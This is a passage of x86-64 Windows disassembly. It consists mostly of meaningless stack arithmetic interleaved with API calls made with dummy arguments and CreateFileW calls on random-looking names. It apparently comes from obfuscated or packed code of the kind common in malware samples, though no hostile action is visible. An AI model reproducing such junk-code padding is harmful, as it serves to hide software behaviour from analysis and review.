mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0xb4d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb268], rax
mov eax, dword [rsp + 0x57b8]
mov dword [rsp + 0x5860], eax
lea rcx, [rsp + 0x18568]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xb430]
mov ecx, dword [rsp + 0x56fc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5754], eax
movsx eax, byte [rsp + 0x37f]
movsx ecx, byte [0x1401a8038]
and eax, ecx
mov byte [rsp + 0x2ea], al
movzx ecx, word [rsp + 0x1bd8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bf4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
movzx eax, word [rsp + 0x1ba8]
movzx ecx, word [rsp + 0x188c]
sub eax, ecx
mov word [rsp + 0x1be0], ax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x115]
sub eax, ecx
mov byte [0x1401a803c], al
mov rax, qword [rsp + 0xb4c0]
mov ecx, dword [rsp + 0x584c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb490]
mov rdx, qword [rsp + 0xb430]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jbe 0x140019cf4
call fcn.14015c090
lea rcx, [rsp + 0xb318]
call qword [sym.imp.USER32.dll_GetCursorInfo]
mov dword [rsp + 0x57ec], eax
movzx eax, byte [rsp + 0x378]
mov rcx, qword [rsp + 0xb388]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e34d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb488]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xac40], rax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0x8ea0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb210], rax
movzx eax, word [rsp + 0xb30]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b90], ax
mov dword [rsp + 0x20], 1
mov r9d, 0x1f
mov r8d, 0x7e
mov edx, 0x2e
mov rcx, qword [rsp + 0xb588]
call qword [sym.imp.USER32.dll_SetScrollRange]
mov dword [rsp + 0x5814], eax
mov rax, qword [rsp + 0xb540]
mov rcx, qword [rsp + 0xb4c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5758], eax
mov rax, qword [rsp + 0xb4f0]
mov rcx, qword [rsp + 0xb400]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb268], rax
movsx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0xb550]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x37f], al
mov eax, dword [rsp + 0x57ac]
mov ecx, dword [rsp + 0x4bd4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
jmp 0x14015b0e3
movsx eax, byte [rsp + 0x379]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [rsp + 0x37a]
movsx edx, byte [rsp + 0x2ea]
add ecx, edx
cmp eax, ecx
jne 0x14015b0e3
movsx eax, word [rsp + 0x1be4]
movsx ecx, word [rsp + 0x1bc8]
or eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
mov rax, qword [0x1401e34d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x383]
shl eax, cl
mov byte [0x1401a803c], al
lea rax, [rsp + 0xd44]
mov qword [rsp + 0xb590], rax
mov rax, qword [rsp + 0xb358]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b84]
cdq
idiv ecx
mov word [rsp + 0x1bc0], ax
movzx eax, byte [rsp + 0x382]
mov byte [rsp + 0x387], al
mov rax, qword [rsp + 0xb4c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x57ac]
shr eax, cl
mov dword [rsp + 0x5754], eax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0xb468]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb4b8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.3KyDCE6Ls
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb598], rax
lea rax, [rsp + 0x5848]
mov qword [rsp + 0xb5a0], rax
mov rax, qword [rsp + 0xb358]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1be8]
add eax, ecx
mov word [rsp + 0xb30], ax
mov rcx, qword [rsp + 0xb2c8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x573c], eax
mov eax, dword [0x1401a838c]
mov ecx, dword [rsp + 0x4bd4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb490]
mov ecx, dword [rcx]
imul ecx, dword [rsp + 0x57ac]
cmp eax, ecx
jne 0x140019f80
mov rax, qword [rsp + 0xb528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bd0]
and eax, ecx
mov word [rsp + 0x1ba0], ax
call qword [sym.imp.USER32.dll_GetCursor]
mov qword [rsp + 0xb5a8], rax
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x387]
add eax, ecx
mov rcx, qword [0x1401e34d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xac40]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb530], rax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb4a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb488], rax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb420]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa488], rax
mov r8d, 1
mov rdx, qword [rsp + 0xb5b0]
mov rcx, qword [rsp + 0xb5b0]
call qword [sym.imp.USER32.dll_GetNextDlgGroupItem]
mov qword [rsp + 0xb4f8], rax
call fcn.14015c090
mov rax, qword [rsp + 0xb358]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37a]
sub eax, ecx
mov byte [rsp + 0x379], al
mov eax, dword [rsp + 0x5854]
mov dword [rsp + 0x5864], eax
mov rax, qword [rsp + 0xb5a0]
mov ecx, dword [rsp + 0x585c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4a78], eax
mov rax, qword [rsp + 0xb4d0]
mov rcx, qword [rsp + 0xb520]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb228], rax
movzx eax, byte [rsp + 0x115]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401a803a], al
lea rax, [0x1401a8398]
mov qword [rsp + 0xb5b8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
movsx eax, word [rsp + 0x1b9c]
movsx ecx, word [rsp + 0x1bcc]
shl eax, cl
mov rcx, qword [rsp + 0xb590]
mov word [rcx], ax
movzx eax, word [rsp + 0x1300]
mov rcx, qword [rsp + 0xb4e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb18], ax
movzx eax, byte [rsp + 0x381]
movzx ecx, byte [rsp + 0x383]
xor eax, ecx
mov byte [rsp + 0x1ed], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov eax, dword [rsp + 0x5848]
mov dword [rsp + 0x5868], eax
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0xb4d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8bd8], rax
mov eax, dword [rsp + 0x5854]
mov ecx, dword [rsp + 0x4bd4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x586c], eax
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
mov qword [rsp + 0xb5c0], rax
lea rax, [rsp + 0x1b84]
mov qword [0x1401e34c0], rax
mov rax, qword [rsp + 0xb3e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x37e]
add eax, ecx
mov byte [rsp + 0x383], al
lea rax, [rsp + 0x1bc8]
mov qword [rsp + 0xb5c8], rax
mov rax, qword [rsp + 0xb550]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2ea], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb320]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb530], rax
lea rcx, [rsp + 0xb3b0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xb520]
mov rcx, qword [rsp + 0xb4d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa9d8], rax
movzx ecx, word [rsp + 0x1bc4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bd8], ax
mov rax, qword [rsp + 0xb430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5754]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5854], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.aY8qOXuoY3MYz72t7b_vYHFvqkpGh76qttrbU
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb5d0], rax
mov rax, qword [rsp + 0xb540]
mov eax, dword [rax]
mov dword [rsp + 0x5870], eax
movzx eax, byte [rsp + 0x1ed]
movzx ecx, byte [rsp + 0x381]
add eax, ecx
mov byte [rsp + 0x377], al
mov rax, qword [0x1401e34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a83a8], ax
mov rax, qword [rsp + 0xb590]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb528]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1bdc], ax
mov rax, qword [rsp + 0xb548]
mov rax, qword [rax]
mov qword [rsp + 0xb5d8], rax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb298]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb568], rax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
movsx eax, word [rsp + 0xde4]
movsx ecx, word [rsp + 0x1104]
sar eax, cl
mov word [rsp + 0x139c], ax
mov rax, qword [rsp + 0xb430]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb490]
mov qword [rsp + 0xb5e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb5e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5864], eax
lea rdx, [rsp + 0xb248]
mov rcx, qword [rsp + 0xb5d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x586c], eax
mov eax, dword [rsp + 0x5860]
cdq
idiv dword [rsp + 0x5870]
mov dword [rsp + 0x5868], eax
mov rax, qword [rsp + 0xb308]
mov rax, qword [rax]
mov qword [rsp + 0xb5e8], rax
movzx eax, word [rsp + 0x1b8c]
mov rcx, qword [0x1401e34c0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x12f0], ax
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
imul eax, eax, 0x68
mov byte [0x1401a803b], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.G72Su01pIW6eBGs5BLNdUzA9FgfrJWv2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb5f0], rax
mov rax, qword [rsp + 0xb420]
mov qword [rsp + 0xb5f8], rax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb4d8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb4e0]
movzx eax, word [rax]
mov word [rsp + 0x1bf8], ax
lea rcx, [rsp + 0x18590]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xb590]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb4]
add eax, ecx
mov word [rsp + 0x1be4], ax
mov rax, qword [rsp + 0xb490]
mov rcx, qword [rsp + 0xb430]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x56fc], eax
mov rax, qword [rsp + 0xb540]
mov ecx, dword [rsp + 0x5798]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x549c], eax
mov edx, 0x53a222
mov rcx, qword [rsp + 0xb238]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x586c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb600], rax
mov rax, qword [rsp + 0xb308]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa9d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb508], rax
movzx eax, byte [rsp + 0x385]
mov byte [rsp + 0x388], al
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0xb4e0]
movzx eax, word [rax]
mov word [0x1401e34b8], ax
mov rax, qword [rsp + 0xb590]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb5c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bb4], ax
movzx eax, byte [0x1401a803a]
movzx ecx, byte [rsp + 0x387]
sub eax, ecx
mov byte [rsp + 0x388], al
mov rax, qword [rsp + 0xb320]
mov qword [rsp + 0xb608], rax
mov rax, qword [rsp + 0xb320]
mov rcx, qword [rsp + 0xac40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb5c0], rax
mov eax, dword [rsp + 0x57ac]
mov ecx, dword [0x1401a8388]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4928], eax
mov rax, qword [rsp + 0xb4d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb268]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb520]
mov rdx, qword [rsp + 0xb508]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jb 0x14015afaf
mov rax, qword [rsp + 0xb520]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb408]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb5e8], rax
mov rax, qword [rsp + 0xb490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4bd4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5864], eax
mov eax, dword [rsp + 0x5848]
mov dword [rsp + 0x5874], eax
movsx eax, word [0x1401a83a0]
mov rcx, qword [rsp + 0xb5c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bcc], ax
mov rax, qword [rsp + 0xb3e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb388]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401a803d], al
mov rax, qword [rsp + 0xb5f8]
mov qword [rsp + 0xb610], rax
mov rax, qword [rsp + 0xb4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12f0]
xor eax, ecx
mov word [rsp + 0x188c], ax
movsx eax, word [rsp + 0x1bdc]
movsx ecx, word [rsp + 0x1bd0]
shl eax, cl
mov word [rsp + 0x11c4], ax
mov rax, qword [rsp + 0xb3e8]
movzx eax, byte [rax]
mov rcx, qword [0x1401e34d0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x232], al
mov eax, dword [rsp + 0x5868]
mov rcx, qword [rsp + 0xb4c8]
mov qword [rsp + 0xb618], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb618]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5764], eax
lea rax, [rsp + 0x91a0]
mov qword [rsp + 0xb620], rax
mov eax, dword [rsp + 0x4928]
mov ecx, dword [rsp + 0x57ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.HW2RmhZ0CGwqLDS2De
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb628], rax
mov rax, qword [rsp + 0xb4d8]
movzx eax, byte [rax]
mov byte [rsp + 0x389], al
mov rcx, qword [rsp + 0xb2c8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x5740], eax
movzx eax, byte [rsp + 0x381]
imul eax, eax, 0x65
mov byte [rsp + 0x384], al
movzx eax, word [0x1401e34c8]
mov rcx, qword [rsp + 0xb4a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a8378], ax
movsx eax, word [rsp + 0x11c4]
mov rcx, qword [rsp + 0xb528]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b80], ax
mov rax, qword [rsp + 0xb368]
mov qword [rsp + 0xb630], rax
mov rax, qword [rsp + 0x9bb8]
mov rcx, qword [rsp + 0xb320]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb298]
mov qword [rcx], rax
lea rax, [rsp + 0x5864]
mov qword [rsp + 0xb638], rax
mov rax, qword [rsp + 0xb350]
mov ecx, dword [rsp + 0x5764]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5874], eax
mov rax, qword [rsp + 0xb468]
mov rcx, qword [0x1401e34f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
movzx eax, byte [rsp + 0x232]
mov rcx, qword [rsp + 0xb3e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xbd], al
mov edx, 0x1bd1fd
mov rcx, qword [rsp + 0xb538]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x579c], eax
movsx eax, word [rsp + 0x1534]
movsx ecx, word [rsp + 0x1b94]
and eax, ecx
mov word [rsp + 0x1ba0], ax
mov rax, qword [rsp + 0xb4e0]
movzx eax, word [rax]
imul eax, eax, 0xe9d
mov word [0x1401a83ac], ax
mov rax, qword [rsp + 0x8ff0]
mov qword [rsp + 0xb640], rax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb610]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb5f8], rax
movsx eax, word [rsp + 0x1b94]
movsx ecx, word [rsp + 0x1b9c]
or eax, ecx
mov word [rsp + 0x1bd0], ax
mov rax, qword [rsp + 0xb508]
mov qword [rsp + 0xb648], rax
mov eax, dword [rsp + 0x4e08]
mov rcx, qword [rsp + 0xb370]
mov qword [rsp + 0xb650], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb650]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x49fc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x2ea]
mov byte [rsp + 0x38a], al
mov eax, dword [rsp + 0x5864]
mov rcx, qword [rsp + 0xb4c0]
mov qword [rsp + 0xb658], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb658]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4928], eax
movzx eax, word [rsp + 0x1b84]
mov rcx, qword [rsp + 0xb4a8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xe20], ax
mov rax, qword [rsp + 0xb4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe20]
xor eax, ecx
mov word [0x1401a83a4], ax
mov rax, qword [rsp + 0xb3e8]
movzx eax, byte [rax]
mov rcx, qword [0x1401e34d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb388]
mov byte [rcx], al
mov rax, qword [rsp + 0xb5b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x139c]
and eax, ecx
mov rcx, qword [rsp + 0xb5c8]
movsx ecx, word [rcx]
mov rdx, qword [0x1401e34e0]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jge 0x14001aa6e
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb518]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bb8], ax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x385]
sub eax, ecx
mov byte [rsp + 0x1ed], al
mov rax, qword [rsp + 0xb350]
mov ecx, dword [0x1401e34f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5818], eax
mov rax, qword [rsp + 0xb4b8]
mov rcx, qword [rsp + 0xb508]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb308]
mov qword [rcx], rax
lea r8, [rsp + 0x5834]
mov edx, 0x5b
mov rcx, qword [rsp + 0xb5b0]
call qword [sym.imp.USER32.dll_GetScrollBarInfo]
mov dword [rsp + 0x5814], eax
mov eax, dword [rsp + 0x56fc]
mov ecx, dword [rsp + 0x5864]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5854], eax
jmp 0x14001ab38
mov rax, qword [rsp + 0xb5b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x139c]
sub eax, ecx
mov rcx, qword [rsp + 0xb528]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x1ba0]
add ecx, edx
cmp eax, ecx
jge 0x14001ab38
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x37c], al
movsx eax, word [rsp + 0x1bd0]
mov rcx, qword [rsp + 0xb5b8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1bb0], ax
movzx eax, word [0x1401a83a8]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401a83ac], ax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb298]
mov qword [rsp + 0xb660], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb660]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb610], rax
movzx ecx, byte [rsp + 0x38a]
call fcn.14015bf50
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
cqo
movabs rcx, 0x782537e66e6530
idiv rcx
mov qword [rsp + 0x9840], rax
lea rax, [rsp + 0xb5f8]
mov qword [rsp + 0xb668], rax
mov r9d, 1
lea r8, [rsp + 0xb3b0]
mov rdx, qword [rsp + 0xb670]
mov rcx, qword [rsp + 0xb348]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x579c], eax
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0xe20]
add eax, ecx
mov word [rsp + 0x1bf8], ax
movzx eax, byte [rsp + 0x389]
mov byte [rsp + 0x38b], al
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb4d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x91a0], rax
mov rax, qword [rsp + 0xb430]
mov ecx, dword [rsp + 0x5864]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x57ac], eax
mov eax, dword [rsp + 0x5818]
mov dword [rsp + 0x5878], eax
movsx eax, word [rsp + 0x1ba0]
mov rcx, qword [rsp + 0xb5c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401a83b0], ax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
movzx ecx, byte [0x1401a803c]
sub eax, ecx
mov byte [rsp + 0x37b], al
movsx eax, word [rsp + 0x1b80]
mov rcx, qword [rsp + 0xb518]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1874], ax
lea rcx, [rsp + 0xb3b0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x115]
sub eax, ecx
mov byte [rsp + 0x384], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe20]
sub eax, ecx
mov word [rsp + 0x188c], ax
mov eax, dword [rsp + 0x56fc]
mov dword [rsp + 0x587c], eax
lea rcx, str.KtfLD_B4X5mjKEzIrkQ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1bf4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb540]
mov rcx, qword [rsp + 0xb370]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5818], eax
mov rax, qword [rsp + 0xb520]
mov rax, qword [rax]
mov qword [rsp + 0xb678], rax
mov rax, qword [rsp + 0xb5d8]
mov rcx, qword [rsp + 0xb420]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bb8], rax
lea rax, [rsp + 0x1bcc]
mov qword [0x1401e34b0], rax
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2fe], al
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0x1ba8]
xor eax, ecx
mov word [rsp + 0x1330], ax
movsx eax, byte [rsp + 0x37a]
mov rcx, qword [rsp + 0xb4d8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x38a], al
mov rax, qword [rsp + 0xb548]
mov rax, qword [rax]
mov qword [rsp + 0xb680], rax
mov eax, dword [rsp + 0x5870]
movzx ecx, al
mov eax, dword [rsp + 0x5868]
shl eax, cl
mov dword [rsp + 0x54ec], eax
mov eax, dword [rsp + 0x56fc]
mov dword [rsp + 0x5880], eax
mov rax, qword [rsp + 0xb4f0]
movzx ecx, al
mov rax, qword [0x1401e34f0]
shr rax, cl
mov qword [rsp + 0xb1e0], rax
movsx eax, word [rsp + 0x11c4]
mov rcx, qword [rsp + 0xb518]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b94], ax
movzx eax, byte [rsp + 0x33b]
mov rcx, qword [0x1401e34d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401a803a], al
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc0]
add eax, ecx
mov word [rsp + 0x142c], ax
mov rax, qword [rsp + 0xb420]
imul rax, qword [rsp + 0xa878]
mov qword [rsp + 0xb610], rax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov qword [rsp + 0xb688], rax
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3e8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb390]
mov byte [rcx], al
lea rdx, [rsp + 0x1bd88]
mov rcx, qword [rsp + 0xb2c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5830], eax
mov rax, qword [rsp + 0xb4c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5864]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5854], eax
mov eax, dword [rsp + 0x54ec]
mov dword [rsp + 0x5884], eax
mov rax, qword [rsp + 0xb620]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb648]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
lea rax, [rsp + 0x142c]
mov qword [rsp + 0xb690], rax
mov rax, qword [rsp + 0xb528]
movzx eax, word [rax]
mov word [0x1401e34a8], ax
mov rax, qword [rsp + 0xb320]
mov rcx, qword [rsp + 0xb258]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb310], rax
mov rax, qword [rsp + 0xb550]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2ea]
sub eax, ecx
mov byte [rsp + 0x38a], al
movzx eax, byte [0x1401a803a]
